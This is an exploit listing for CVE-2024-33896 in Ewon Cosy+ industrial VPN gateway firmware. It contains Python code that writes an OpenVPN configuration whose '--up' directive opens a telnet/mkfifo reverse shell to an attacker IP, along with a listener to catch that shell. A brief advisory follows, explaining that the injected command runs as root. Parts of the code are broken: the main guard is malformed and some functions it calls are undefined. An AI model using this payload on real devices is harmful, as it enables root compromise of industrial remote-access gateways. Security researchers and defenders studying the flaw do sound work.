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# Exploit Title: Cosy+ firmware 21.2s7 - Command Injection # Google Dork: N/A # Date: 2024-8-20 # Exploit Author: CodeB0ss # Contact: t.me/codeb0ss / uncodeboss@gmail.com # Version: 21.2s7 # Tested on: Windows 11 Home Edition # CVE: CVE-2024-33896 import socket import subprocess import time def configcreator(file_path): with open(file_path, 'w') as f: f.write( """ client dev tun persist-tun proto tcp verb 5 mute 20 --up '/bin/sh -c "TF=$(mktemp -u);mkfifo $TF;telnet {attacker_ip} 5000 0<$TF | sh 1>$TF"' script-security 2 """) def l3st(port): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', port)) server_socket.listen(1) print(f" - --> Listening_0n_port {port}") client_socket, _ = server_socket.accept() print(" - --> Recevied") while True: data = client_socket.recv(1024) if not data: break print(data.decode()) client_socket.close() server_socket.close() if name == "main": IP = '127.0.0.1' config = '/path/to/malicious_config.ovpn' port = 5000 listener_process = subprocess.Popen(['python', '-c', f'from main import start_listener; start_listener({port})']) time.sleep(2) create_malicious_openvpn_config(config) print(f" - --> config_created {config}") GitHub: https://github.com/codeb0ss/CVE-2024-33896-PoC Hey, Overview: The Ewon Cosy+ is a VPN gateway used for remote access and maintenance in industrial environments. The manufacturer describes the product as follows (see [1]): "The Ewon Cosy+ gateway establishes a secure VPN connection between the machine (PLC, HMI, or other devices) and the remote engineer. The connection happens through Talk2m, a highly secured industrial cloud service. The Ewon Cosy+ makes industrial remote access easy and secure like never before!" Due to improper neutralization of parameters read from a user-controlled configuration file, an authenticated attacker is able to inject and execute OS commands on the device. Vulnerability Details: Authenticated attackers are able to upload a custom OpenVPN configuration. This configuration can contain the OpenVPN paramaters "--up" and "--down", which execute a specified script or executable. Since the process itself runs with the highest privileges (root), this allows the device to be completely compromised. |
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